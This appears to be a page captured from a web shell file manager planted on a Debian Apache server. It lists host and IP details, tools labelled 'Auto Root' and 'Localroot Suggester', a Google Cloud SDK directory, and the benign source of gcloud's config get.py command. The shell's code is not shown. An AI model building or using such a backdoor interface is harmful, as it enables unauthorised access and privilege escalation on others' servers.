Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
google-cloud-sdk /
lib /
surface /
config /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2026-06-08 18:08
configurations
[ DIR ]
drwxr-xr-x
2026-06-08 18:08
universe_descriptors
[ DIR ]
drwxr-xr-x
2026-06-08 18:08
virtualenv
[ DIR ]
drwxr-xr-x
2026-06-08 18:08
__init__.py
2.58
KB
-rw-r--r--
1980-01-01 08:00
config_helper.py
4.72
KB
-rw-r--r--
1980-01-01 08:00
get.py
3.18
KB
-rw-r--r--
1980-01-01 08:00
get_value.py
836
B
-rw-r--r--
1980-01-01 08:00
list.py
4.09
KB
-rw-r--r--
1980-01-01 08:00
set.py
7.09
KB
-rw-r--r--
1980-01-01 08:00
unset.py
2.4
KB
-rw-r--r--
1980-01-01 08:00
Save
Rename
# -*- coding: utf-8 -*- # # Copyright 2022 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Command to set properties.""" from googlecloudsdk.api_lib.util import apis from googlecloudsdk.calliope import base from googlecloudsdk.calliope import exceptions as c_exc from googlecloudsdk.command_lib.config import completers from googlecloudsdk.core import log from googlecloudsdk.core import properties from googlecloudsdk.core.configurations import named_configs class Get(base.Command): """Print the value of a Google Cloud CLI property. {command} prints the property value from your active client side configuration only. ## AVAILABLE PROPERTIES {properties} ## EXAMPLES To print the project property in the core section, run: $ {command} project To print the zone property in the compute section, run: $ {command} compute/zone """ detailed_help = {'properties': properties.VALUES.GetHelpString()} @staticmethod def Args(parser): """Adds args for this command.""" parser.add_argument( 'property', metavar='SECTION/PROPERTY', completer=completers.PropertiesCompleter, help='The property to be fetched. Note that `SECTION/` is optional' ' while referring to properties in the core section.') parser.display_info.AddFormat('value(.)') def Run(self, args): config_name = named_configs.ConfigurationStore.ActiveConfig().name if config_name != 'default': log.status.write('Your active configuration is: [{0}]\n'.format( config_name)) section, prop = properties.ParsePropertyString(args.property) if not prop: if section: err_msg = ('You cannot call get on a SECTION/. ' 'Did you mean `gcloud config list SECTION`?') raise c_exc.InvalidArgumentException('property', err_msg) raise c_exc.InvalidArgumentException( 'property', 'Must be in the form: [SECTION/]PROPERTY') try: value = properties.VALUES.Section(section).Property(prop).Get( validate=True) if not value: # Writing message to stderr but returning any potentially empty # value to caller as is log.err.Print('(unset)') if section == properties.VALUES.api_endpoint_overrides.name: api_version = apis.ResolveVersion(prop) default_endpoint = apis.GetEffectiveApiEndpoint(prop, api_version) log.status.Print('Defaults to ', default_endpoint) except properties.InvalidValueError as e: # Writing warning to stderr but returning invalid value as is log.warning(str(e)) value = properties.VALUES.Section(section).Property(prop).Get( validate=False) return value